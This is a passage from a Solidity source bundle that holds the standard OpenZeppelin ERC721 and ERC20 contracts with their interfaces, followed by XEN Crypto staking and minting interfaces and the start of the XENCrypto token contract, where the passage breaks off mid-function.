"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return 